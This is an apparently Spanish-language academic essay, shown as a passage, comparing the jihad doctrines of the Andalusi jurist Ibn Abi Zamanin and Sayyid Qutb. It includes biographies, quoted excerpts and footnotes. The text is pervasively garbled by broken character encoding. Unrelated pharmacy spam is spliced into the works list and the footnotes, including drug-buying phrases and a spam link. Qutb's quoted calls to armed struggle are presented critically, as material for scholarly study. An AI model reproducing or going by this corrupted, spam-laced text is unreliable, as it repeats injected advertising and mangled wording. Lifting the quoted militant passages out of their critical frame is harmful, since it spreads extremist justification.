El valor de este libro consiste en la A�poca en que se elaborA?. Pues ya sabemos que este libro fue escrito por su autor en el siglo IV de la hA�gira bajo el reino de los Omeyas en al-A?ndalus que atribuyen en aquella A�poca mucha importancia al A�ihA?d. Ibn AbA� ZamanA�n dejA? claro en su libro los principios y preceptos que tenA�a que regir el A�ihA?d para que no se cometieran barbaridades bajo el lema religioso.

Nosotros hoy dA�a, vemos la importancia que tiene este libro en la A�poca cultural y cientA�fica que nos revela a travA�s de su obra. Nos revela la metodologA�a que han usado los eruditos en aquella A�poca en al-A?ndalus a la hora de elaborar obras.[39]

Ibn AbA� ZamanA�n creA�a que el A�ihA?d no se basaba solo en la fuerza militar y en la preparaciA?n, sino que tambiA�n se basaba en la claridad de los principios y el saber de los conquistadores.

De los capA�tulos que componen el libro, hemos escogido los que creemos mA?s relevantes[40] para comentar brevemente:

  • En el capA�tulo referente a los hadices, el autor cita hadices que recomienda el A�ihA?d y hadices referentes a la intenciA?n de hacer el A�ihA?d.

A�

  • El comportamiento del combatiente

Su comportamiento debe ser ejemplar con todo el mundo. Tiene que estar regido por los textos religiosos no puede hacer lo que a A�l le venga en gana.

  • Gastar en el Camino de Dios

El combatiente debe poseer poder adquisitivo y haber dejado saldadas todas sus deudas a la hora de encaminarse al A�ihA?d. Solo se le permitirA�a ir sin saldarlas en el caso en que el botA�n que adquiera sea para saldar dichas deudas.

  • Lo que deben y no deben hacer los combatientes

No tienen derecho a cometer fraude ni a engaA�ar, no pueden maltratar los cadA?veres ni matar a mujeres y niA�os, a excepciA?n de que sean combatientes, ni a personas mayores, a los enfermos, no pueden cortar A?rboles que den fruto, no se debe matar a hombres de ciencia ni a monjes, etc.

Otra prohibiciA?n importante es el matar a musulmanes o hacer una guerra contra ellos.

  • La prohibiciA?n de hacer algo que te promete el ImA?m

Ibn a?�abA�b: a�?Haber escuchado a los eruditos musulmanes que estA? prohibido ir al combate con intenciA?n de ganar dinero, acostarse con una mujer o adquirir bienes determinadosa�?.

  • El hecho de huir del combate, el posicionamiento con los enemigos y el enfrentamiento de uno contra un grupo

Ibn a?�abA�b: a�?Mientras los enemigos superen a los musulmanes solo con el doble no tienen derecho a huira�?.

  • El hecho de ir al combate sin el permiso de los padres y en el caso del esclavo, sin el permiso del amo

no se les permite a los combatientes ejercer la guerra sin haberles pedido permiso a los padres, para asA� evitar hacerles sufrir y se lo han de pedir incluso aunque el combate se dA� en la puerta de su casa. EstA?n exentos de pedirlos en el caso de que haya un ataque sorpresa a la ciudad. Lo mismo se da con el esclavo respecto al amo.

 

4.Sayyid Qua?�b

4.1. BiografA�a

NaciA? en el sur de Egipto en 1906, era el mayor de sus 4 hermanos de los cuales 3 se metieron en la defensa de los valores islA?micos. De familia muy religiosa, a los 10 aA�os se sabA�a el CorA?n de memoria. Se graduA? en el Dar al-Ulum de Magisterio en 1928, en un principio fue defensor del modelo occidental, en 1948 viaja a Estados Unidos para estudiar el modelo de educaciA?n, pero el comportamiento de esta sociedad le provocA? rechazo y le hizo volver a Egipto sin acabar sus estudios, durante su estancia allA� a�?redescubriA?a�? el Islam de una forma mA?s fundamentalista.[41]

CrA�tico literario modernista en los treinta y en los cuarenta, encargado de la secciA?n de propaganda de Los Hermanos Musulmanes, durante una campaA�a en 1965, produjo una serie de escritos que sobrepasaban los principios de Los Hermanos inspirado por pensadores musulmanes como Ibn Taymiyya, Hassan al-Banna, AbA� Ala al-Maududi, su discA�pulo Nadvi, entre otros. Influenciado por obras como Yahiliya Moderna de al-Maududi, donde condena la modernidad y su incompatibilidad con el Islam. Cuando se conocieron Nadvi y Qua?�b vieron que compartA�an puntos de vista e influenciA? a la hora de escribir La lucha entre el Islam y el Capitalismo en 1952. El concepto de Yahiliyya Moderna se verA�a reflejado en obras como Justicia Social en el Islam, en A la Sombra del CorA?n y en Jalones en el camino o Hitos en el camino[42]. Para A�l, es un mA�todo creado por el hombre en vez de por Dios, como el mandato regido por el hombre, el materialismo, etc. TambiA�n para A�l es yahiliyya cuando se le da tanta importancia a la ciencia en vez de a Dios y todo esto es su visiA?n de la cultura occidental, aparte del Capitalismo y el Consumismo que segA?n Sayyid Qua?�b, estos modelos occidentales no tendrA�an futuro y ve que el A?nico modo de salvar a la humanidad es mediante el Islam, siendo un dichos modelos occidentales un a�?venenoa�? para el mundo islA?mico. Estuvo en la cA?rcel durante nueve/diez aA�os donde escribiA? A la sombra del CorA?n.

Cabe decir que Sayyid Qua?�b fue miembro del Partido Wafd y de los Hermanos Musulmanes. Entre sus amigos y conocidos destacan Taha Husayn y Maa??mA�d Abbas al-Aqqad. En 1966, fue ahorcado, entre otros miembros de Los Hermanos Musulmanes, por radicalismo.

4.2. Contexto histA?rico

Sayyid Qua?�b viviA? bajo tres tipos de gobierno diferentes: el gobierno del sultA?n (1917-1922) y posteriormente rey, Fua�?A?d I (1922-1936) tras la Independencia de Egipto del Imperio Otomano, el rey Faruq (1936-1953), hijo de Fua�?A?d I, siendo rey a la edad de 16 aA�os, el cual viviA? la Segunda Guerra Mundial; y el gobierno de Gamal Abd al-Nasser (1954-1970) el cual convirtiA? a Egipto en una repA?blica.[43]

  • Obras:
  • Mahamat al-fil- A�aa�?ir hayat shia�?r wa al-Jil hadir (La tarea del poeta en la vida y la poesA�a de la generaciA?n contemporA?nea) infarmed sildenafil
  • Al-A�ati al-Majhul (La playa desconocida)
  • Naqd KitA?b: Musa?�aqbal al-Thaqa fi Misr (CrA�tica de un libro de Taha Husayn: El futuro de la cultura en Egipto)
  • Al-Taswir al-Fanni fi-l Qura�?A?n (Las imA?genes artA�sticas en el CorA?n)
  • Al-Atyal al-Arbaa�?a (Las cuatro apariciones)
  • Tifl min al-Qarya (Un niA�o en la aldea)
  • Al-MadA�na al-Mashura (La ciudad encantada)
  • Kutub wa Shakhsiyyat (Libros y personalidades)
  • Mashahid al-Fil QiyA?ma Qura�?A?n (Aspectos de la resurrecciA?n en el CorA?n)
  • Askwak (Espinas)
  • Al-Naqd al-AdA?bA�: Usuluhu wa manahijuhu (CrA�tica literaria: su fundaciA?n y mA�todos)
  • Al-a�?AdA?la al-IA�timA?a�?A�a fA� l-IslA?m (Justicia Social en el Islam)
  • Maa�?rakat al-IslA?m wa al-Ramaliyya (La Batalla entre el Islam y el Capitalismo)
  • order cozaar online

  • Al-SalA?m al-a�?AlamA� wa l-IslA?m (La paz mundial y el Islam)
  • DirasA?t Islamiyya (Estudios IslA?micos)
  • FA� a?�ilA?l al-Qura�?A?n (A la sombra del CorA?n) primera entrega 1954.
  • Hadhaa�� l-DA�n (Esta religiA?n es el Islam) posterior a 1954.
  • Al-Musa?�aqbal lA� hadhaa�� l-DA�n (El futuro de esta religiA?n) posterior a 1954.
  • Jasais al-Tasawwar al-IslA?mA� wa Muqawamatuhu (Las caracterA�sticas y valores de la conducta islA?mica)
  • Al-IslA?m wa al-MuA?kilA?t hadara (El Islam y los problemas de la civilizaciA?n) posterior a 1954.
  • Ma�?A?lim fA� l-TarA�q (SeA�ales o Hitos en el camino/ Las normas en el camino del Islam)
  • Principios bA?sicos de la cosmovisiA?n IslA?mica.
  • El concepto IslA?mico y sus caracterA�sticas.
  • El Islam y la paz universal.[44]

 

De este autor analizaremos partes de dos obras en las que habla del A�ihA?d:

4.3. Al-a�?AdA?la al-IA�timA?a�?A�a fA� l-IslA?m (Justicia Social en el Islam)

La obra se divide en 9 capA�tulos, del cual el noveno y ultimo titulado a�?El comienzo del caminoa�? habla del A�ihA?d.

  • CapA�tulo 1: ReligiA?n y sociedad en el Cristianismo y en el Islam
  • CapA�tulo 2: La naturaleza de la justicia social en el Islam
  • CapA�tulo 3: Los cimientos de la justicia social en el Islam
  • CapA�tulo 4: Los mA�todos de la justicia social en el Islam
  • CapA�tulo 5: TeorA�a polA�tica en el Islam
  • CapA�tulo 6: TeorA�a econA?mica del Islam
  • CapA�tulo 7: La realidad histA?rica de la justicia en el Islam
  • CapA�tulo 8: El estado presente y la esperanza del Islam
  • CapA�tulo 9: El comienzo del camino[45]

A continuaciA?n, expondremos fragmentos de la traducciA?n de JosA� Cepedello Boiso (2007) de esta obra al espaA�ol.

a�?La lucha real se produce entre el Islam, por un lado, y las fuerzas combinadas de Oriente y Occidente, por otro. El Islam es el A?nico poder verdadero que se opone al empuje de la filosofA�a materialista profesada en Europa, AmA�rica y Rusiaa�?. (pA?g. 354).

Pero el Cristianismo, al menos en lo que podemos observar de A�l, no puede ser reconocido como una fuerza real que se oponga a las filosofA�as del nuevo materialismo. Se manifiesta como una fe negativa, aislada e individualista. (pA?g. 355)

Nuestro verdadero lugar no es en la retaguardia de la caravana, sino donde podamos agarrar la rienda del guA�a.

Ahora bien, no serA? fA?cil alcanzar nuestro autentico sitio en el mundo. Solo lo conseguiremos con grandes e inevitables sacrificios por nuestro bien y por el de toda la humanidad. Pesadas cargas deberA?n caer sobre los capitalistas y sus seguidores, que estA?n acostumbrados a disfrutar de los placeres mundanos, pero esas cargas son inevitables. Podemos encaminarnos hacia el Islam o hacia el comunismo, pues uno de los dos serA? nuestro fin inevitable. O podemos tender a los sistemas sociales de Europa y AmA�rica, que son mA?s afines al Islam. Pero, finalmente, esos sistemas tambiA�n se dirigirA?n hacia el comunismo, su filosofA�a de la vida es la misma y todas sus diferencias son mA?s aparentes que reales. (pA?g. 356)

Hemos llegado a una encrucijada. Podemos unirnos a la marcha en la retaguardia de la caravana de los occidentales, que llaman a su sistema democracia, o puede ser que acabemos en la caravana de los orientales, que dominan al este comunista. (pA?g. 357)

4.4. Ma�?A?lim fA� l-TarA�q (Las normas en el camino del Islam/ Jalones o Hitos en el camino)

SegA?n la traducciA?n al espaA�ol, vemos que esta obra[46] se divide en 13 capA�tulos del cual el quinto se titula a�?Lucha por la causa divinaa�? (en las versiones consultadas en A?rabe e inglA�s, este capA�tulo corresponderA�a al capA�tulo cuatro en la versiA?n inglesa).[47]

  • CapA�tulo 1: Normas en el camino del Islam
  • CapA�tulo 2: Una generaciA?n corA?nica excepcional
  • CapA�tulo 3: Naturaleza de la vA�a corA?nica
  • CapA�tulo 4: Nacimiento y particularidades de la sociedad islA?mica
  • CapA�tulo 5: Lucha por la Causa Divina
  • CapA�tulo 6: No hay mA?s Dios que Dios, mA�todo de vida
  • CapA�tulo 7: LegislaciA?n universal
  • CapA�tulo 8: El Islam es la civilizaciA?n
  • CapA�tulo 9: El concepto islA?mico y la cultura
  • CapA�tulo 10: La nacionalidad y la fe del musulmA?n
  • CapA�tulo 11: El traspaso lejano
  • CapA�tulo 12: Grandeza de la fe
  • CapA�tulo 13: He aquA� el Camino[48]

Vamos a exponer los fragmentos mA?s significativos de su pensamiento en relaciA?n con el A�ihA?d:

a�?A?Si llegara una persona a manifestar su hostilidad al Islam, debe combatirla hasta que caiga o deje las armas!a�?.

Los derrotados espiritual e intelectualmente entre los que escriben con motivo de a�?la lucha por la causa divinaa�? para rebatir esta acusaciA?n, confunden las directivas de esta religiA?n, de no usar forzamiento para abrazar la fe, con sus otras directivas en vista de la destrucciA?n de las fuerzas polA�ticas materialistas que impiden a las gentes emanciparse libremente sometiA�ndoles a su yugo opresor y prohibiA�ndoles el reconocimiento del poder supremo de Dios. He ahA� dos datos distintos que no admiten confusiA?n. Por este mal error, e incluso por esta derrota intentan limitar la lucha por la causa divina del Islam en a�?una supuesta guerra defensivaa�?. Ahora bien, la lucha por la causa divina en el Islam es totalmente diferente, no tiene ninguna comA?n medida con las guerras contemporA?neas, ni con sus mA?viles.A� (pA?g.79)

Todo esto no puede realizarse por la simple predicaciA?n y la simple persuasiA?n, porque los que se han apropiado del poder de Dios en la Tierra para dominar a su prA?jimo por medio de este poder, no renunciarA?n A?nicamente bajo la influencia de la predicaciA?n y la persuasiA?n; con esto, la tarea de los Mensajeros de Dios por el triunfo de su reino en la Tierra A?habrA�a sido muy fA?cil! (pA?g. 81)

El que ha comprendido la naturaleza de esta religiA?n [a��] supone la necesidad de la acciA?n por el uso de armas al mismo tiempo que la persuasiA?n de ideas, no se le olvidarA? que no se trata de una acciA?n defensiva en el sentido mA?s estricto del tA�rmino actual, guerra preventiva o defensiva, como los derrotados presentan la lucha en el Islam, bajo la presiA?n de la situaciA?n actual, por una parte, y el pA�rfido ataque de los orientalistas contra el Islam por otra partea�� (pA?g. 85)

Si es a veces necesario comparar el movimiento de lucha del Islam con el tA�rmino a�?acciA?n defensivaa�?, hace falta entonces tener en consideraciA?n que se trata de una a�?defensa del ser humanoa�?, incluso contra todos los factores que limitan su libertad, y frenan su acciA?n. Estos factores, que residen tanto en las creencias y conceptos, como en los regA�menes polA�ticos que se conservan gracias a los obstA?culos de orden econA?mico, social o racista y engloban a toda la Tierra desde el alba del Islam, y cuyas secuelas permanecen todavA�a en el seno de la anarquA�a presente en nuestros dA�as.

En cuanto a la bA?squeda de una justificaciA?n en la lucha para el Islam, en el sentido mA?s estricto de la palabra, por el uso contemporA?neo del tA�rmino a�?guerra defensivaa�?, y a la tentativa de buscar pruebas para demostrar que la lucha por la fe islA?mica, era necesaria a fin de rechazar la agresiA?n de las fuerzas coaligadas rodeando la patria islA?mica-que algunos representan por la penA�nsula A?rabe-, no es mA?s que una tentativa, que indica el desconocimiento de la naturaleza de esta religiA?n, y del papel que desempeA�a en el mundo. (pA?g. 86)

Seria engaA�oso creer que el anuncio de liberar al hombre cualquiera que sea, en la Tierra-toda la Tierra- sea detenido por estos obstA?culos, librando un combate de pura retA?rica.A� El uso de la lengua y de la persuasiA?n es vA?lido cuando se permite hablar con la gente libremente, sin ninguna de las influencias anteriores, en este caso es justo decir que no hay forzamiento en la religiA?n. Pero cuando hay tales obstA?culos y semejantes influencias materiales establecidas, es indispensable eliminarlas por la fuerza, para poder dialogar directamente con los corazones y las almas sin que ningA?n grillete limite sus libertades y sus acciones.

a�?La lucha es necesaria para hacer llegar el Llamamiento al Islam, tanto mA?s cuanto que la razA?n de este Llamamiento es el anuncio de la liberaciA?n del hombre [a��]a�?. (pA?g. 87)

a�?Dios aclara a los creyentes en las primeras aleyas del CorA?n, en que les autoriza a interpretar la lucha, que la cuestiA?n continua y original en la naturaleza de esta vida, es que la gente se oponga unos a otros para impedir la corrupciA?n en la Tierraa�? (pA?g. 90)

Estas justificaciones existA�an ya en los corazones de los musulmanes cuando emprendA�an sus luchas por la causa divina. Todas las veces que le preguntaban a un musulmA?n las razones que le habA�an empujado a emprender el combate, respondA�a que A�l participaba en la guerra con vistas a rechazar el peligro que amenazaba su patria, o para rechazar el ataque de los persas o de los romanos contra los musulmanes, y no participA? para extender en el mapa la naciA?n musulmana o multiplicar los botines de guerra. (pA?gs. 99-100)

a�?[a��] Ahora bien, la lucha islA?mica seguirA? su camino decisivo con o sin justificacionesa�?. (pA?g. 102)

Esta batalla es impuesta al Islam, asA� pues, no hay elecciA?n en librarla, porque es una lucha natural entre dos existencias que no pueden coexistir por mucho tiempo. Todo esto es, pues, verdad. A partir de este punto de vista es indispensable para el Islam defenderse y librar una batalla defensiva, impuesta inevitablemente sobre A�la�� (pA?g.103)

a�?El Islam tiene derecho a hacer desaparecer todas las trabas para dirigirse directamente a los corazones y a los corazones de los seres sin obstA?culos instituidos por regA�menes polA�ticos del Estado o las situaciones sociales de la gentea��a�? (pA?g. 105)

 

  1. ComparaciA?n de postulados

Antes de proceder a comparar la visiA?n que tienen estos autores de A�ihA?d, queremos destacar que estamos frente a dos autores que estA?n muy distanciados temporalmente. O sea, uno de la A�poca de la Edad Media y el otro de la A�poca contemporA?nea.

En un primer momento, vamos a ofrecer los puntos que tienen estos autores en comA?n y luego pasaremos a exponer sus diferencias:

Puntos en comA?n:

  • Ambos poseen una gran formaciA?n religiosa desde pequeA�os.
  • Los dos autores hablan de la primera etapa del Islam, cuando el A�ihA?d aA?n no era obligatorio.

Ibn AbA� ZamanA�n afirma, al respecto, que era la A�poca de la fundaciA?n del Islam que durA? 13 aA�os, en la que el Profeta recibiA? todo tipo de maltrato que tenA�a que aguantar, puesto que todavA�a los musulmanes eran muy pocos y no tenA�an la fuerza para defenderse.

No obstante, Sayyid Qua?�b afirma que fue una estrategia para evitar la masacre de los pocos musulmanes que habA�a y que la posterior autorizaciA?n de la lucha no era proteger las fronteras de la ciudad primordialmente sino un medio para asegurar la liberaciA?n del hombre y quitarle los obstA?culos que le impidan ver claramente la fe.

  • Ambos presentan sus argumentos con autoridad criticando a otros o a personas que piensan diferentes a ellos.
  • Coinciden en muchas de las aleyas que utilizan como por ejemplo la 2:190 que hemos citado ya en varias ocasiones.

Puntos de divergencia:

Ibn AbA� ZamanA�nA� Sayyid Qua?�b
A�A� Analiza el A�ihA?d desde el punto de vista lingA?A�stico y religioso.A�A� Lo analiza solo desde el contexto religioso.
A�A� No se ve en su obra influencia sobre la polA�tica.

A�

A�A� Se ve su claro rechazo a la polA�tica imperante a lo largo de sus obras.
A�A� No se ve un odio hacia Occidente.A�A� Claro odio hacia occidente en todos sus sentidos.
A�A� Diversidad temA?tica de obras.A�A� Obras monotemA?ticas.
A�A� No estuvo encarcelado, segA?n la informaciA?n consultada.A�A� Estuvo en la cA?rcel entre 9 y 10 aA�os, donde sus ideas se radicalizaron mA?s.

 

A estos puntos tambiA�n se pueden aA�adir los siguientes:

  • La diferencia de tiempo entre los dos autores parece confirmar o dar a entender que Sayyid Qua?�b es mA?s radical que Ibn AbA� ZamanA�n.
  • Sayyid Qua?�b en las dos obras consultadas critica el JudaA�smo y el Cristianismo mientras que Ibn AbA� ZamanA�n no parece hacer crA�ticas a excepciA?n de las aleyas del CorA?n.
  • Ibn AbA� ZamanA�n se basa en las bases teA?ricas y jurA�dicas del A�ihA?d, mientras que Sayyid Qua?�b, aunque se basa tambiA�n en las bases teA?ricas, predominan pensamientos propios y los de los autores que consulta.
  • SegA?n la mayorA�a de las obras consultadas, como Emmanuel Sivan en su obra a�?El Islam radicala�? entre otros, Sayyid Qua?�b es considerado radical y fundamentalista, de hecho, Emmanuel Sivan en dicha obra, comenta que Sayyid Qua?�b aprobA? unos intensos preparativos militares con fines terroristas (2000:116). Sin embargo, TarA�q Ramadan (2000: 453-455), una de las figuras mA?s importantes hoy dA�a del discurso IslA?mico ilustrado, no lo ve asA�. Cabe decir nuevamente que de Ibn AbA� ZamanA�n no hemos podido localizar muchas obras o muchos autores que hablen de A�l. Esto puede ser quizA?s debido a la antigA?edad de dicho autor.
  • En la etapa polA�tica de Ibn AbA� ZamanA�n, los gobernantes desempeA�aban el papel de mecenas, mientras que en la A�poca polA�tica de Sayyid Qua?�b no se ha atribuido tanto interA�s a promover la cultura seriamente.
  • Ibn AbA� ZamanA�n tiene obras de distinta A�ndole y la A?nica obra en la que habla del A�ihA?d es la que hemos analizado, mientras que Sayyid Qua?�b solo tiene obras referentes al Islam y la polA�tica.

 

  1. ConclusiA?n

DespuA�s de haber realizado este modesto trabajo que consiste en ver y contrastar las diferentes opiniones que tienen los dos autores que han sido nuestro objeto de estudio, podrA�amos decir que hemos llegado a la conclusiA?n de que Sayyid Qua?�b tiene una visiA?n radical en sus obras que datan de la A�poca contemporA?nea, indicA?ndonos que es mucho mA?s radical que Ibn AbA� ZamanA�n, cuya obra no deja entender este grado de radicalizaciA?n. En aras a la objetividad, habrA�a que seA�alar que Ibn AbA� ZamanA�n en su obra se ha limitado a citar lo que otros ya han dicho sin mojarse de manera clara y evidente sobre la visiA?n que tiene del A�ihA?d. A lo largo de la obra Ma�?A?lim fA� l-TarA�q, Sayyid Qua?�b repite mucho el concepto de se debe hacer el A�ihA?d para liberar al hombre de los obstA?culos materiales, que asA� el hombre serA? libre para poder escoger su religiA?n. Pero esta supuesta a�?libertada�? se contradice con el pensamiento de que el Islam es el A?nico que puede librar al mundo de dichos obstA?culos materiales, entonces ya el hombre no serA�a libre porque si no abraza el Islam entonces es un YahilA� (ignorante), este autorA� muestra tambiA�n un rechazo al JudaA�smo y al Cristianismo cuando se supone que el Islam es una continuaciA?n de ambas.

 

Puede ser que Sayyid Qua?�b no fuera directamente un exaltador del terrorismo, pero evidentemente sus obras han sido un estA�mulo para grupos de A�ndole terrorista como el grupo TakfA�r wa al-Hijra, creado tres aA�os despuA�s de su muerte, por Mustafa Sukri miembro de los Hermanos Musulmanes e influyA? en grupos como al-Qaeda cuyo lA�der, Osama Bin Laden habA�a recibido clases en la universidad del hermano de Sayyid, Muhammad.

 

Los grupos terroristas actuales pretenden mediante el A�ihA?d llevar a cabo atrocidades que nada tienen que ver con el Islam. Con la idea de volver a los primeros tiempos del Islam que se supone que es el mA?s a�?puroa�?, pero se podrA�a decir que es del casi todo imposible es como si un grupo de cristianos o judA�os quisieran volver al principio de sus respectivas religiones. Nos guste o no el tiempo pasa, los tiempos cambian y hay que ir adaptA?ndose a las cosas modernas; unos grupos fundamentalistas no pueden pretender quedarse anclados en un tiempo determinado quedA?ndose asA� para siempre, es imposible.

 

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A�

[1]A�A�A�A�A�A�A�A�A�A�A�A�A� NEWBY, Gordon D. Breve Enciclopedia del Islam, Madrid, Alianza Editorial, 2002, p. 93-94.

[2]A�A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 93-94.

[3]A�A�A�A�A�A�A�A�A�A�A�A�A� http://dle.rae.es/?id=cC2RuNr

[4]A�A�A�A�A�A�A�A�A�A�A�A�A� GALINDO AGUILAR, E.: Enciclopedia del Islam, Darek-Nyumba, Madrid, 2004, p. 491.

[5]A�A�A�A�A�A�A�A�A�A�A�A�A� Testimonio de fe, oraciA?n, limosna, ayuno y peregrinaje.

[6]A�A�A�A�A�A�A�A�A�A�A�A�A� GARCA?A SANJUA?N, A.: a�?La doctrina clA?sica del yihad frente al terrorismoa�?, Miranda del Ebro, 2008, p. 40-41.

[7]A�A�A�A�A�A�A�A�A�A�A�A�A� CORTA�S, J.: El CorA?n. Herder Editorial, Barcelona, 2005, p.31-32.

[8]A�A�A�A�A�A�A�A�A�A�A�A�A� VERNET, J.: El CorA?n. Editorial Optima, Barcelona, 1999, p.59-60.

[9]A�A�A�A�A�A�A�A�A�A�A�A�A� MELARA NAVA?O, A. El CorA?n, traducciA?n comentada. Nuredduna Ediciones, Palma de Mallorca, 1998, p.33-34.

[10]A�A�A�A�A�A�A�A�A�A�A�A� AL-MONTAJAB, a�?La SelecciA?na�? en la interpretaciA?n del Sagrado Qura��an, A?rabe y EspaA�ol, Primera Parte, El Cairo, 2001, p.59-61.

[11]A�A�A�A�A�A�A�A�A�A�A�A� CORTA�S, J.: El CorA?n. Herder Editorial, Barcelona, 2005, p.188.

[12]A�A�A�A�A�A�A�A�A�A�A�A� VERNET, J.: El CorA?n. Editorial Optima, Barcelona, 1999, p.151.

[13]A�A�A�A�A�A�A�A�A�A�A�A� MELARA NAVA?O, A. El CorA?n, traducciA?n comentada. Nuredduna Ediciones, Palma de Mallorca, 1998, p.162.

[14]A�A�A�A�A�A�A�A�A�A�A�A� AL-MONTAJAB, a�?La SelecciA?na�? en la interpretaciA?n del Sagrado Qura��an, A?rabe y EspaA�ol, Primera Parte, El Cairo, 2001, p.289.

[15] buy lozol online A�A�A�A�A�A�A�A�A�A�A�A� CORTA�S, J.: El CorA?n. Herder Editorial, Barcelona, 2005, p.203-204.

[16]A�A�A�A�A�A�A�A�A�A�A�A� VERNET, J.: El CorA?n. Editorial Optima, Barcelona, 1999, p.160.

[17]A�A�A�A�A�A�A�A�A�A�A�A� MELARA NAVA?O, A.: El CorA?n, traducciA?n comentada. Nuredduna Ediciones, Palma de Mallorca, 1998, p. 174.

[18]A�A�A�A�A�A�A�A�A�A�A�A� AL-MONTAJAB, a�?La SelecciA?na�? en la interpretaciA?n del Sagrado Qura��an, A?rabe y EspaA�ol, Primera Parte, El Cairo, 2001, p.311.

[19]A�A�A�A�A�A�A�A�A�A�A�A� MUSLIM IBN AL-HAYYAY AL-QUSHAYRAZ AL-NAYSABA�RAZ, AbA� Al-Husayn.: SahA�h Muslim, TraducciA?n: a�?Abdu RahmA?n Colombo Al-YerrA?hA�, Oficina de cultura y difusiA?n islA?mica, Argentina, p.510.

[20]A�A�A�A�A�A�A�A�A�A�A�A� A�TIENNE, B.: A?QuA� inquieta del Islam?. Ediciones Bellaterra, Barcelona, 2005, p.30.

[21]A�A�A�A�A�A�A�A�A�A�A�A� IBN a�?ABDAL LATIF AZ ZUBAIDI, Z. A.: Sahih Al-Bujari. http://bagusprast.mhs.narotama.ac.id/2018/03/15/price-of-lotrisone-cream/ Madrasa Editorial, Granada, 2008, p.289.

[22]A�A�A�A�A�A�A�A�A�A�A�A� AL-QAYRAWANA�, I.A.Z.: La Risala, Tratado de creencia y derecho musulmA?n, Editorial Kutubia Mayurqa, 1999, p.287.

[23]A�A�A�A�A�A�A�A�A�A�A�A� ARCAS CAMPOY, M.: El KitA?b Muntajab al-Aa??kA?m de Ibn AbA� ZamanA�n. Estudio, traducciA?n y ediciA?n crA�tica del sumario y del libro I, Tesis Doctoral, Universidad de Granada,1982, p. 49-52.

[24]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 47-48.

[25]A�A�A�A�A�A�A�A�A�A�A�A� ASFARUDDIN, A.: Striving in the path of God, Oxford University Press, 2013, p. 163-165.

[26]A�A�A�A�A�A�A�A�A�A�A�A� ARCAS CAMPOY, M.: TeorA�a jurA�dica de la guerra santa: el KitA?b Qidwat al-GA?zA� de Ibn AbA� ZamanA�n, Al-Andalus-Magreb I, 1993, p.53-54.

[27]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 54-55.

[28]A�A�A�A�A�A�A�A�A�A�A�A� ZAMANA?N, I. A.: QudwA?t al-GA?zA�, ed. y est. por a�?A. SulaymA?nA�, Editorial DA?r al-Garb al-IslA?mA�, Beirut, 1989, p.116.

[29]A�A�A�A�A�A�A�A�A�A�A�A� ARCAS CAMPOY, M.: TeorA�a jurA�dica de la guerra santa: el KitA?b Qidwat al-GA?zA� de Ibn AbA� ZamanA�n, Al-Andalus-Magreb I, 1993, p. 53.

[30]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 58.

[31]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 59.

[32]A�A�A�A�A�A�A�A�A�A�A�A� ARCAS CAMPOY, M.: TeorA�a jurA�dica de la guerra santa: el KitA?b Qidwat al-GA?zA� de Ibn AbA� ZamanA�n, Al-Andalus-Magreb I, 1993, p.59.

[33]A�A�A�A�A�A�A�A�A�A�A�A� ZAMANA?N, I. A.: QudwA?t al-GA?zA�, ed. y est. por a�?A. SulaymA?nA�, Editorial DA?r al-Garb al-IslA?mA�, Beirut, 1989, p.101-104.

[34]A�A�A�A�A�A�A�A�A�A�A�A� ZAMANA?N, I. A.: QudwA?t al-GA?zA�, ed. y est. por a�?A. SulaymA?nA�, Editorial DA?r al-Garb al-IslA?mA�, Beirut, 1989, p.104.

[35]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p.105-107.

[36]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 115-118.

[37]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 118-121.

[38]A�A�A�A�A�A�A�A�A�A�A�A� ZAMANA?N, I. A.: QudwA?t al-GA?zA�, ed. y est. por a�?A. SulaymA?nA�, Editorial DA?r al-Garb al-IslA?mA�, Beirut, 1989, p.121-125.

[39]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p.127-128.

[40]A�A�A�A�A�A�A�A�A�A�A�A� Ibidem, p. 139-223.

[41]A�A�A�A�A�A�A�A�A�A�A�A� QUTB, S.: Justicia social en el Islam, Trad. de JosA� Cepedello Boiso, Editorial Almuzara, 2007, p.7-30.

[42]A�A�A�A�A�A�A�A�A�A�A� SIVAN, E.: El Islam radical, Ediciones Bellaterra, Barcelona, 2000, p.36-156.

[43]A�A�A�A�A�A�A�A�A�A�A�A� https://es.wikipedia.org/wiki/Fuad_I_de_Egipto

A�A�A�A�A�A�A�A�A�A�A�A�A�A�A� https://es.wikipedia.org/wiki/Faruq_de_Egipto

[44]A�A�A�A�A�A�A�A�A�A�A�A� www.ecured.cu/Sayyid_Qutb#Obras

[45]A�A�A�A�A�A�A�A�A�A�A�A� QUTB, S.: Justicia social en el Islam, Trad. de JosA� Cepedello Boiso, Editorial Almuzara, 2007, p. 359-360.

[46]A�A�A�A�A�A�A�A�A�A�A�A� QUTB, S.: Las normas en el camino del Islam, Centro IslA?mico, Granada, 1978.

[47]A�A�A�A�A�A�A�A�A�A�A�A� QUTB, S.: Ma�?A?lim fA� l-TarA�q, Editorial DA?r A?urA�q, al-QA?hira, 1979, p. 189.

QUTB, S.: Milestones, Editorial Maktabah Booksellers and Publishers, Birminghan, England, 2006, p.63-86.

